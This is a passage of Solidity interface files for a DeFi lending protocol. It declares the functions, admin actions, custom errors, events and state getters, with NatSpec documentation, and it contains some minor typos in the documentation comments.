/// @notice `amount` will be limited up to the amount of debt that `recipient` currently holds.
///
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
/// @notice `recipient` must have non-zero debt or this call will revert with an {IllegalState} error.
///
/// @notice Emits a {Burn} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice uint256 amtBurn = 5000;
/// @notice AlchemistV2(alchemistAddress).burn(amtBurn, msg.sender);
/// @notice ```
///
/// @param amount The amount of tokens to burn.
/// @param recipient The address of the recipient.
///
/// @return amountBurned The amount of tokens that were burned.
function burn(uint256 amount, address recipient) external returns (uint256 amountBurned);
/// @notice Repay `amount` debt using `underlyingToken` to credit the account owned by `recipient`.
///
/// @notice `amount` will be limited up to the amount of debt that `recipient` currently holds.
///
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `underlyingToken` must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice `amount` must be less than or equal to the current available repay limit or this call will revert with a {ReplayLimitExceeded} error.
///
/// @notice Emits a {Repay} event.
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address dai = 0x6b175474e89094c44da98b954eedeac495271d0f;
/// @notice uint256 amtRepay = 5000;
/// @notice AlchemistV2(alchemistAddress).repay(dai, amtRepay, msg.sender);
/// @notice ```
///
/// @param underlyingToken The address of the underlying token to repay.
/// @param amount The amount of the underlying token to repay.
/// @param recipient The address of the recipient which will receive credit.
///
/// @return amountRepaid The amount of tokens that were repaid.
function repay(
address underlyingToken,
uint256 amount,
address recipient
) external returns (uint256 amountRepaid);
/// @notice
///
/// @notice `shares` will be limited up to an equal amount of debt that `recipient` currently holds.
///
/// @notice `shares` must be greater than zero or this call will revert with a {IllegalArgument} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `yieldToken` must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice `yieldToken` underlying token must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice The loss in expected value of `yieldToken` must be less than the maximum permitted by the system or this call will revert with a {LossExceeded} error.
/// @notice `amount` must be less than or equal to the current available liquidation limit or this call will revert with a {LiquidationLimitExceeded} error.
///
/// @notice Emits a {Liquidate} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 amtSharesLiquidate = 5000 * 10**ydai.decimals();
/// @notice AlchemistV2(alchemistAddress).liquidate(ydai, amtSharesLiquidate, 1);
/// @notice ```
///
/// @param yieldToken The address of the yield token to liquidate.
/// @param shares The number of shares to burn for credit.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be liquidated.
///
/// @return sharesLiquidated The amount of shares that were liquidated.
function liquidate(
address yieldToken,
uint256 shares,
uint256 minimumAmountOut
) external returns (uint256 sharesLiquidated);
/// @notice Burns `amount` debt tokens to credit accounts which have deposited `yieldToken`.
///
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {Donate} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 amtSharesLiquidate = 5000;
/// @notice AlchemistV2(alchemistAddress).liquidate(dai, amtSharesLiquidate, 1);
/// @notice ```
///
/// @param yieldToken The address of the yield token to credit accounts for.
/// @param amount The amount of debt tokens to burn.
function donate(address yieldToken, uint256 amount) external;
/// @notice Harvests outstanding yield that a yield token has accumulated and distributes it as credit to holders.
///
/// @notice `msg.sender` must be a keeper or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice The amount being harvested must be greater than zero or else this call will revert with an {IllegalState} error.
///
/// @notice Emits a {Harvest} event.
///
/// @param yieldToken The address of the yield token to harvest.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be withdrawn to `recipient`.
function harvest(address yieldToken, uint256 minimumAmountOut) external;
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2AdminActions
/// @author Alchemix Finance
///
/// @notice Specifies admin and or sentinel actions.
interface IAlchemistV2AdminActions {
/// @notice Contract initialization parameters.
struct InitializationParams {
// The initial admin account.
address admin;
// The ERC20 token used to represent debt.
address debtToken;
// The initial transmuter or transmuter buffer.
address transmuter;
// The minimum collateralization ratio that an account must maintain.
uint256 minimumCollateralization;
// The percentage fee taken from each harvest measured in units of basis points.
uint256 protocolFee;
// The address that receives protocol fees.
address protocolFeeReceiver;
// A limit used to prevent administrators from making minting functionality inoperable.
uint256 mintingLimitMinimum;
// The maximum number of tokens that can be minted per period of time.
uint256 mintingLimitMaximum;
// The number of blocks that it takes for the minting limit to be refreshed.
uint256 mintingLimitBlocks;
// The address of the whitelist.
address whitelist;
}
/// @notice Configuration parameters for an underlying token.
struct UnderlyingTokenConfig {
// A limit used to prevent administrators from making repayment functionality inoperable.
uint256 repayLimitMinimum;
// The maximum number of underlying tokens that can be repaid per period of time.
uint256 repayLimitMaximum;
// The number of blocks that it takes for the repayment limit to be refreshed.
uint256 repayLimitBlocks;
// A limit used to prevent administrators from making liquidation functionality inoperable.
uint256 liquidationLimitMinimum;
// The maximum number of underlying tokens that can be liquidated per period of time.
uint256 liquidationLimitMaximum;
// The number of blocks that it takes for the liquidation limit to be refreshed.
uint256 liquidationLimitBlocks;
}
/// @notice Configuration parameters of a yield token.
struct YieldTokenConfig {
// The adapter used by the system to interop with the token.
address adapter;
// The maximum percent loss in expected value that can occur before certain actions are disabled measured in
// units of basis points.
uint256 maximumLoss;
// The maximum value that can be held by the system before certain actions are disabled measured in the
// underlying token.
uint256 maximumExpectedValue;
// The number of blocks that credit will be distributed over to depositors.
uint256 creditUnlockBlocks;
}
/// @notice Initialize the contract.
///
/// @notice `params.protocolFee` must be in range or this call will with an {IllegalArgument} error.
/// @notice The minting growth limiter parameters must be valid or this will revert with an {IllegalArgument} error. For more information, see the {Limiters} library.
///
/// @notice Emits an {AdminUpdated} event.
/// @notice Emits a {TransmuterUpdated} event.
/// @notice Emits a {MinimumCollateralizationUpdated} event.
/// @notice Emits a {ProtocolFeeUpdated} event.
/// @notice Emits a {ProtocolFeeReceiverUpdated} event.
/// @notice Emits a {MintingLimitUpdated} event.
///
/// @param params The contract initialization parameters.
function initialize(InitializationParams memory params) external;
/// @notice Sets the pending administrator.
///
/// @notice `msg.sender` must be the admin or this call will will revert with an {Unauthorized} error.
///
/// @notice Emits a {PendingAdminUpdated} event.
///
/// @dev This is the first step in the two-step process of setting a new administrator. After this function is called, the pending administrator will then need to call {acceptAdmin} to complete the process.
///
/// @param value the address to set the pending admin to.
function setPendingAdmin(address value) external;
/// @notice Allows for `msg.sender` to accepts the role of administrator.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice The current pending administrator must be non-zero or this call will revert with an {IllegalState} error.
///
/// @dev This is the second step in the two-step process of setting a new administrator. After this function is successfully called, this pending administrator will be reset and the new administrator will be set.
///
/// @notice Emits a {AdminUpdated} event.
/// @notice Emits a {PendingAdminUpdated} event.
function acceptAdmin() external;
/// @notice Sets an address as a sentinel.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @param sentinel The address to set or unset as a sentinel.
/// @param flag A flag indicating of the address should be set or unset as a sentinel.
function setSentinel(address sentinel, bool flag) external;
/// @notice Sets an address as a keeper.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @param keeper The address to set or unset as a keeper.
/// @param flag A flag indicating of the address should be set or unset as a keeper.
function setKeeper(address keeper, bool flag) external;
/// @notice Adds an underlying token to the system.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @param underlyingToken The address of the underlying token to add.
/// @param config The initial underlying token configuration.
function addUnderlyingToken(
address underlyingToken,
UnderlyingTokenConfig calldata config
) external;
/// @notice Adds a yield token to the system.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {AddYieldToken} event.
/// @notice Emits a {TokenAdapterUpdated} event.
/// @notice Emits a {MaximumLossUpdated} event.
///
/// @param yieldToken The address of the yield token to add.
/// @param config The initial yield token configuration.
function addYieldToken(address yieldToken, YieldTokenConfig calldata config)
external;
/// @notice Sets an underlying token as either enabled or disabled.
///
/// @notice `msg.sender` must be either the admin or a sentinel or this call will revert with an {Unauthorized} error.
/// @notice `underlyingToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits an {UnderlyingTokenEnabled} event.
///
/// @param underlyingToken The address of the underlying token to enable or disable.
/// @param enabled If the underlying token should be enabled or disabled.
function setUnderlyingTokenEnabled(address underlyingToken, bool enabled)
external;
/// @notice Sets a yield token as either enabled or disabled.
///
/// @notice `msg.sender` must be either the admin or a sentinel or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {YieldTokenEnabled} event.
///
/// @param yieldToken The address of the yield token to enable or disable.
/// @param enabled If the underlying token should be enabled or disabled.
function setYieldTokenEnabled(address yieldToken, bool enabled) external;
/// @notice Configures the the repay limit of `underlyingToken`.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `underlyingToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {ReplayLimitUpdated} event.
///
/// @param underlyingToken The address of the underlying token to configure the repay limit of.
/// @param maximum The maximum repay limit.
/// @param blocks The number of blocks it will take for the maximum repayment limit to be replenished when it is completely exhausted.
function configureRepayLimit(
address underlyingToken,
uint256 maximum,
uint256 blocks
) external;
/// @notice Configure the liquidation limiter of `underlyingToken`.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `underlyingToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {LiquidationLimitUpdated} event.
///
/// @param underlyingToken The address of the underlying token to configure the liquidation limit of.
/// @param maximum The maximum liquidation limit.
/// @param blocks The number of blocks it will take for the maximum liquidation limit to be replenished when it is completely exhausted.
function configureLiquidationLimit(
address underlyingToken,
uint256 maximum,
uint256 blocks
) external;
/// @notice Set the address of the transmuter.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `value` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {TransmuterUpdated} event.
///
/// @param value The address of the transmuter.
function setTransmuter(address value) external;
/// @notice Set the minimum collateralization ratio.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {MinimumCollateralizationUpdated} event.
///
/// @param value The new minimum collateralization ratio.
function setMinimumCollateralization(uint256 value) external;
/// @notice Sets the fee that the protocol will take from harvests.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `value` must be in range or this call will with an {IllegalArgument} error.
///
/// @notice Emits a {ProtocolFeeUpdated} event.
///
/// @param value The value to set the protocol fee to measured in basis points.
function setProtocolFee(uint256 value) external;
/// @notice Sets the address which will receive protocol fees.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `value` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {ProtocolFeeReceiverUpdated} event.
///
/// @param value The address to set the protocol fee receiver to.
function setProtocolFeeReceiver(address value) external;
/// @notice Configures the minting limiter.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {MintingLimitUpdated} event.
///
/// @param maximum The maximum minting limit.
/// @param blocks The number of blocks it will take for the maximum minting limit to be replenished when it is completely exhausted.
function configureMintingLimit(uint256 maximum, uint256 blocks) external;
/// @notice Sets the rate at which credit will be completely available to depositors after it is harvested.
///
/// @notice Emits a {CreditUnlockRateUpdated} event.
///
/// @param yieldToken The address of the yield token to set the credit unlock rate for.
/// @param blocks The number of blocks that it will take before the credit will be unlocked.
function configureCreditUnlockRate(address yieldToken, uint256 blocks) external;
/// @notice Sets the token adapter of a yield token.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice The token that `adapter` supports must be `yieldToken` or this call will revert with a {IllegalState} error.
///
/// @notice Emits a {TokenAdapterUpdated} event.
///
/// @param yieldToken The address of the yield token to set the adapter for.
/// @param adapter The address to set the token adapter to.
function setTokenAdapter(address yieldToken, address adapter) external;
/// @notice Sets the maximum expected value of a yield token that the system can hold.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @param yieldToken The address of the yield token to set the maximum expected value for.
/// @param value The maximum expected value of the yield token denoted measured in its underlying token.
function setMaximumExpectedValue(address yieldToken, uint256 value)
external;
/// @notice Sets the maximum loss that a yield bearing token will permit before restricting certain actions.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @dev There are two types of loss of value for yield bearing assets: temporary or permanent. The system will automatically restrict actions which are sensitive to both forms of loss when detected. For example, deposits must be restricted when an excessive loss is encountered to prevent users from having their collateral harvested from them. While the user would receive credit, which then could be exchanged for value equal to the collateral that was harvested from them, it is seen as a negative user experience because the value of their collateral should have been higher than what was originally recorded when they made their deposit.
///
/// @param yieldToken The address of the yield bearing token to set the maximum loss for.
/// @param value The value to set the maximum loss to. This is in units of basis points.
function setMaximumLoss(address yieldToken, uint256 value) external;
/// @notice Snap the expected value `yieldToken` to the current value.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @dev This function should only be used in the event of a loss in the target yield-token. For example, say a third-party protocol experiences a fifty percent loss. The expected value (amount of underlying tokens) of the yield tokens being held by the system would be two times the real value that those yield tokens could be redeemed for. This function gives governance a way to realize those losses so that users can continue using the token as normal.
///
/// @param yieldToken The address of the yield token to snap.
function snap(address yieldToken) external;
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2Errors
/// @author Alchemix Finance
///
/// @notice Specifies errors.
interface IAlchemistV2Errors {
/// @notice An error which is used to indicate that an operation failed because it tried to operate on a token that the system did not recognize.
///
/// @param token The address of the token.
error UnsupportedToken(address token);
/// @notice An error which is used to indicate that an operation failed because it tried to operate on a token that has been disabled.
///
/// @param token The address of the token.
error TokenDisabled(address token);
/// @notice An error which is used to indicate that an operation failed because an account became undercollateralized.
error Undercollateralized();
/// @notice An error which is used to indicate that an operation failed because the expected value of a yield token in the system exceeds the maximum value permitted.
///
/// @param yieldToken The address of the yield token.
/// @param expectedValue The expected value measured in units of the underlying token.
/// @param maximumExpectedValue The maximum expected value permitted measured in units of the underlying token.
error ExpectedValueExceeded(address yieldToken, uint256 expectedValue, uint256 maximumExpectedValue);
/// @notice An error which is used to indicate that an operation failed because the loss that a yield token in the system exceeds the maximum value permitted.
///
/// @param yieldToken The address of the yield token.
/// @param loss The amount of loss measured in basis points.
/// @param maximumLoss The maximum amount of loss permitted measured in basis points.
error LossExceeded(address yieldToken, uint256 loss, uint256 maximumLoss);
/// @notice An error which is used to indicate that a minting operation failed because the minting limit has been exceeded.
///
/// @param amount The amount of debt tokens that were requested to be minted.
/// @param available The amount of debt tokens which are available to mint.
error MintingLimitExceeded(uint256 amount, uint256 available);
/// @notice An error which is used to indicate that an repay operation failed because the repay limit for an underlying token has been exceeded.
///
/// @param underlyingToken The address of the underlying token.
/// @param amount The amount of underlying tokens that were requested to be repaid.
/// @param available The amount of underlying tokens that are available to be repaid.
error RepayLimitExceeded(address underlyingToken, uint256 amount, uint256 available);
/// @notice An error which is used to indicate that an repay operation failed because the liquidation limit for an underlying token has been exceeded.
///
/// @param underlyingToken The address of the underlying token.
/// @param amount The amount of underlying tokens that were requested to be liquidated.
/// @param available The amount of underlying tokens that are available to be liquidated.
error LiquidationLimitExceeded(address underlyingToken, uint256 amount, uint256 available);
/// @notice An error which is used to indicate that the slippage of a wrap or unwrap operation was exceeded.
///
/// @param amount The amount of underlying or yield tokens returned by the operation.
/// @param minimumAmountOut The minimum amount of the underlying or yield token that was expected when performing
/// the operation.
error SlippageExceeded(uint256 amount, uint256 minimumAmountOut);
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2Immutables
/// @author Alchemix Finance
interface IAlchemistV2Immutables {
/// @notice Returns the version of the alchemist.
///
/// @return The version.
function version() external view returns (string memory);
/// @notice Returns the address of the debt token used by the system.
///
/// @return The address of the debt token.
function debtToken() external view returns (address);
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2Events
/// @author Alchemix Finance
interface IAlchemistV2Events {
/// @notice Emitted when the pending admin is updated.
///
/// @param pendingAdmin The address of the pending admin.
event PendingAdminUpdated(address pendingAdmin);
/// @notice Emitted when the administrator is updated.
///
/// @param admin The address of the administrator.
event AdminUpdated(address admin);
/// @notice Emitted when an address is set or unset as a sentinel.
///
/// @param sentinel The address of the sentinel.
/// @param flag A flag indicating if `sentinel` was set or unset as a sentinel.
event SentinelSet(address sentinel, bool flag);
/// @notice Emitted when an address is set or unset as a keeper.
///
/// @param sentinel The address of the keeper.
/// @param flag A flag indicating if `keeper` was set or unset as a sentinel.
event KeeperSet(address sentinel, bool flag);
/// @notice Emitted when an underlying token is added.
///
/// @param underlyingToken The address of the underlying token that was added.
event AddUnderlyingToken(address indexed underlyingToken);
/// @notice Emitted when a yield token is added.
///
/// @param yieldToken The address of the yield token that was added.
event AddYieldToken(address indexed yieldToken);
/// @notice Emitted when an underlying token is enabled or disabled.
///
/// @param underlyingToken The address of the underlying token that was enabled or disabled.
/// @param enabled A flag indicating if the underlying token was enabled or disabled.
event UnderlyingTokenEnabled(address indexed underlyingToken, bool enabled);
/// @notice Emitted when an yield token is enabled or disabled.
///
/// @param yieldToken The address of the yield token that was enabled or disabled.
/// @param enabled A flag indicating if the yield token was enabled or disabled.
event YieldTokenEnabled(address indexed yieldToken, bool enabled);
/// @notice Emitted when the repay limit of an underlying token is updated.
///
/// @param underlyingToken The address of the underlying token.
/// @param maximum The updated maximum repay limit.
/// @param blocks The updated number of blocks it will take for the maximum repayment limit to be replenished when it is completely exhausted.
event RepayLimitUpdated(address indexed underlyingToken, uint256 maximum, uint256 blocks);
/// @notice Emitted when the liquidation limit of an underlying token is updated.
///
/// @param underlyingToken The address of the underlying token.
/// @param maximum The updated maximum liquidation limit.
/// @param blocks The updated number of blocks it will take for the maximum liquidation limit to be replenished when it is completely exhausted.
event LiquidationLimitUpdated(address indexed underlyingToken, uint256 maximum, uint256 blocks);
/// @notice Emitted when the transmuter is updated.
///
/// @param transmuter The updated address of the transmuter.
event TransmuterUpdated(address transmuter);
/// @notice Emitted when the minimum collateralization is updated.
///
/// @param minimumCollateralization The updated minimum collateralization.
event MinimumCollateralizationUpdated(uint256 minimumCollateralization);
/// @notice Emitted when the protocol fee is updated.
///
/// @param protocolFee The updated protocol fee.
event ProtocolFeeUpdated(uint256 protocolFee);
/// @notice Emitted when the protocol fee receiver is updated.
///
/// @param protocolFeeReceiver The updated address of the protocol fee receiver.
event ProtocolFeeReceiverUpdated(address protocolFeeReceiver);
/// @notice Emitted when the minting limit is updated.
///
/// @param maximum The updated maximum minting limit.
/// @param blocks The updated number of blocks it will take for the maximum minting limit to be replenished when it is completely exhausted.
event MintingLimitUpdated(uint256 maximum, uint256 blocks);
/// @notice Emitted when the credit unlock rate is updated.
///
/// @param yieldToken The address of the yield token.
/// @param blocks The number of blocks that distributed credit will unlock over.
event CreditUnlockRateUpdated(address yieldToken, uint256 blocks);
/// @notice Emitted when the adapter of a yield token is updated.
///
/// @param yieldToken The address of the yield token.
/// @param tokenAdapter The updated address of the token adapter.
event TokenAdapterUpdated(address yieldToken, address tokenAdapter);
/// @notice Emitted when the maximum expected value of a yield token is updated.
///
/// @param yieldToken The address of the yield token.
/// @param maximumExpectedValue The updated maximum expected value.
event MaximumExpectedValueUpdated(address indexed yieldToken, uint256 maximumExpectedValue);
/// @notice Emitted when the maximum loss of a yield token is updated.
///
/// @param yieldToken The address of the yield token.
/// @param maximumLoss The updated maximum loss.
event MaximumLossUpdated(address indexed yieldToken, uint256 maximumLoss);
/// @notice Emitted when the expected value of a yield token is snapped to its current value.
///
/// @param yieldToken The address of the yield token.
/// @param expectedValue The updated expected value measured in the yield token's underlying token.
event Snap(address indexed yieldToken, uint256 expectedValue);
/// @notice Emitted when `owner` grants `spender` the ability to mint debt tokens on its behalf.
///
/// @param owner The address of the account owner.
/// @param spender The address which is being permitted to mint tokens on the behalf of `owner`.
/// @param amount The amount of debt tokens that `spender` is allowed to mint.
event ApproveMint(address indexed owner, address indexed spender, uint256 amount);
/// @notice Emitted when `owner` grants `spender` the ability to withdraw `yieldToken` from its account.
///
/// @param owner The address of the account owner.
/// @param spender The address which is being permitted to mint tokens on the behalf of `owner`.
/// @param yieldToken The address of the yield token that `spender` is allowed to withdraw.
/// @param amount The amount of shares of `yieldToken` that `spender` is allowed to withdraw.
event ApproveWithdraw(address indexed owner, address indexed spender, address indexed yieldToken, uint256 amount);
/// @notice Emitted when a user deposits `amount of `yieldToken` to `recipient`.
///
/// @notice This event does not imply that `sender` directly deposited yield tokens. It is possible that the
/// underlying tokens were wrapped.
///
/// @param sender The address of the user which deposited funds.
/// @param yieldToken The address of the yield token that was deposited.
/// @param amount The amount of yield tokens that were deposited.
/// @param recipient The address that received the deposited funds.
event Deposit(address indexed sender, address indexed yieldToken, uint256 amount, address recipient);
/// @notice Emitted when `shares` shares of `yieldToken` are burned to withdraw `yieldToken` from the account owned
/// by `owner` to `recipient`.
///
/// @notice This event does not imply that `recipient` received yield tokens. It is possible that the yield tokens
/// were unwrapped.
///
/// @param owner The address of the account owner.
/// @param yieldToken The address of the yield token that was withdrawn.
/// @param shares The amount of shares that were burned.
/// @param recipient The address that received the withdrawn funds.
event Withdraw(address indexed owner, address indexed yieldToken, uint256 shares, address recipient);
/// @notice Emitted when `amount` debt tokens are minted to `recipient` using the account owned by `owner`.
///
/// @param owner The address of the account owner.
/// @param amount The amount of tokens that were minted.
/// @param recipient The recipient of the minted tokens.
event Mint(address indexed owner, uint256 amount, address recipient);
/// @notice Emitted when `sender` burns `amount` debt tokens to grant credit to `recipient`.
///
/// @param sender The address which is burning tokens.
/// @param amount The amount of tokens that were burned.
/// @param recipient The address that received credit for the burned tokens.
event Burn(address indexed sender, uint256 amount, address recipient);
/// @notice Emitted when `amount` of `underlyingToken` are repaid to grant credit to `recipient`.
///
/// @param sender The address which is repaying tokens.
/// @param underlyingToken The address of the underlying token that was used to repay debt.
/// @param amount The amount of the underlying token that was used to repay debt.
/// @param recipient The address that received credit for the repaid tokens.
event Repay(address indexed sender, address indexed underlyingToken, uint256 amount, address recipient);
/// @notice Emitted when `sender` liquidates `share` shares of `yieldToken`.
///
/// @param owner The address of the account owner liquidating shares.
/// @param yieldToken The address of the yield token.
/// @param underlyingToken The address of the underlying token.
/// @param shares The amount of the shares of `yieldToken` that were liquidated.
event Liquidate(address indexed owner, address indexed yieldToken, address indexed underlyingToken, uint256 shares);
/// @notice Emitted when `sender` burns `amount` debt tokens to grant credit to users who have deposited `yieldToken`.
///
/// @param sender The address which burned debt tokens.
/// @param yieldToken The address of the yield token.
/// @param amount The amount of debt tokens which were burned.
event Donate(address indexed sender, address indexed yieldToken, uint256 amount);
/// @notice Emitted when `yieldToken` is harvested.
///
/// @param yieldToken The address of the yield token that was harvested.
/// @param minimumAmountOut The maximum amount of loss that is acceptable when unwrapping the underlying tokens into yield tokens, measured in basis points.
/// @param totalHarvested The total amount of underlying tokens harvested.
event Harvest(address indexed yieldToken, uint256 minimumAmountOut, uint256 totalHarvested);
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2State
/// @author Alchemix Finance
interface IAlchemistV2State {
/// @notice Defines underlying token parameters.
struct UnderlyingTokenParams {
// The number of decimals the token has. This value is cached once upon registering the token so it is important
// that the decimals of the token are immutable or the system will begin to have computation errors.
uint8 decimals;
// A coefficient used to normalize the token to a value comparable to the debt token. For example, if the
// underlying token is 8 decimals and the debt token is 18 decimals then the conversion factor will be
// 10^10. One unit of the underlying token will be comparably equal to one unit of the debt token.
uint256 conversionFactor;
// A flag to indicate if the token is enabled.
bool enabled;
}
/// @notice Defines yield token parameters.
struct YieldTokenParams {
// The number of decimals the token has. This value is cached once upon registering the token so it is important
// that the decimals of the token are immutable or the system will begin to have computation errors.
uint8 decimals;
// The associated underlying token that can be redeemed for the yield-token.
address underlyingToken;
// The adapter used by the system to wrap, unwrap, and lookup the conversion rate of this token into its
// underlying token.
address adapter;
// The maximum percentage loss that is acceptable before disabling certain actions.
uint256 maximumLoss;
// The maximum value of yield tokens that the system can hold, measured in units of the underlying token.
uint256 maximumExpectedValue;
// The percent of credit that will be unlocked per block. The representation of this value is a 18 decimal
// fixed point integer.
uint256 creditUnlockRate;
// The current balance of yield tokens which are held by users.
uint256 activeBalance;
// The current balance of yield tokens which are earmarked to be harvested by the system at a later time.
uint256 harvestableBalance;
// The total number of shares that have been minted for this token.
uint256 totalShares;
// The expected value of the tokens measured in underlying tokens. This value controls how much of the token
// can be harvested. When users deposit yield tokens, it increases the expected value by how much the tokens
// are exchangeable for in the underlying token. When users withdraw yield tokens, it decreases the expected
// value by how much the tokens are exchangeable for in the underlying token.
uint256 expectedValue;
// The current amount of credit which is will be distributed over time to depositors.
uint256 pendingCredit;
// The amount of the pending credit that has been distributed.
uint256 distributedCredit;
// The block number which the last credit distribution occurred.
uint256 lastDistributionBlock;
// The total accrued weight. This is used to calculate how much credit a user has been granted over time. The
// representation of this value is a 18 decimal fixed point integer.
uint256 accruedWeight;
// A flag to indicate if the token is enabled.
bool enabled;
}
/// @notice Gets the address of the admin.
///
/// @return admin The admin address.
function admin() external view returns (address admin);
/// @notice Gets the address of the pending administrator.
///
/// @return pendingAdmin The pending administrator address.
function pendingAdmin() external view returns (address pendingAdmin);
/// @notice Gets if an address is a sentinel.
///
/// @param sentinel The address to check.
///
/// @return isSentinel If the address is a sentinel.
function sentinels(address sentinel) external view returns (bool isSentinel);
/// @notice Gets if an address is a keeper.
///
/// @param keeper The address to check.
///
/// @return isKeeper If the address is a keeper
function keepers(address keeper) external view returns (bool isKeeper);
/// @notice Gets the address of the transmuter.
///
/// @return transmuter The transmuter address.
function transmuter() external view returns (address transmuter);
/// @notice Gets the minimum collateralization.
///
/// @notice Collateralization is determined by taking the total value of collateral that a user has deposited into their account and dividing it their debt.
///
/// @dev The value returned is a 18 decimal fixed point integer.
///
/// @return minimumCollateralization The minimum collateralization.
function minimumCollateralization() external view returns (uint256 minimumCollateralization);
/// @notice Gets the protocol fee.
///
/// @return protocolFee The protocol fee.
function protocolFee() external view returns (uint256 protocolFee);
/// @notice Gets the protocol fee receiver.
///
/// @return protocolFeeReceiver The protocol fee receiver.
function protocolFeeReceiver() external view returns (address protocolFeeReceiver);
/// @notice Gets the address of the whitelist contract.
///
/// @return whitelist The address of the whitelist contract.
function whitelist() external view returns (address whitelist);
/// @notice Gets the conversion rate of underlying tokens per share.
///
/// @param yieldToken The address of the yield token to get the conversion rate for.
///
/// @return rate The rate of underlying tokens per share.
function getUnderlyingTokensPerShare(address yieldToken) external view returns (uint256 rate);
/// @notice Gets the conversion rate of yield tokens per share.
///
/// @param yieldToken The address of the yield token to get the conversion rate for.
///
/// @return rate The rate of yield tokens per share.
function getYieldTokensPerShare(address yieldToken) external view returns (uint256 rate);
/// @notice Gets the supported underlying tokens.
///
/// @dev The order of the entries returned by this function is not guaranteed to be consistent between calls.
///
/// @return tokens The supported underlying tokens.
function getSupportedUnderlyingTokens() external view returns (address[] memory tokens);
/// @notice Gets the supported yield tokens.
///
/// @dev The order of the entries returned by this function is not guaranteed to be consistent between calls.
///
/// @return tokens The supported yield tokens.
function getSupportedYieldTokens() external view returns (address[] memory tokens);
/// @notice Gets if an underlying token is supported.
///
/// @param underlyingToken The address of the underlying token to check.
///
/// @return isSupported If the underlying token is supported.
function isSupportedUnderlyingToken(address underlyingToken) external view returns (bool isSupported);
/// @notice Gets if a yield token is supported.
///
/// @param yieldToken The address of the yield token to check.
///
/// @return isSupported If the yield token is supported.
function isSupportedYieldToken(address yieldToken) external view returns (bool isSupported);
/// @notice Gets information about the account owned by `owner`.
///
/// @param owner The address that owns the account.
///
/// @return debt The unrealized amount of debt that the account had incurred.
/// @return depositedTokens The yield tokens that the owner has deposited.
function accounts(address owner) external view returns (int256 debt, address[] memory depositedTokens);
/// @notice Gets information about a yield token position for the account owned by `owner`.
///
/// @param owner The address that owns the account.
/// @param yieldToken The address of the yield token to get the position of.
///
/// @return shares The amount of shares of that `owner` owns of the yield token.
/// @return lastAccruedWeight The last recorded accrued weight of the yield token.
function positions(address owner, address yieldToken)
external view
returns (
uint256 shares,
uint256 lastAccruedWeight
);
/// @notice Gets the amount of debt tokens `spender` is allowed to mint on behalf of `owner`.
///
/// @param owner The owner of the account.
/// @param spender The address which is allowed to mint on behalf of `owner`.
///
/// @return allowance The amount of debt tokens that `spender` can mint on behalf of `owner`.
function mintAllowance(address owner, address spender) external view returns (uint256 allowance);
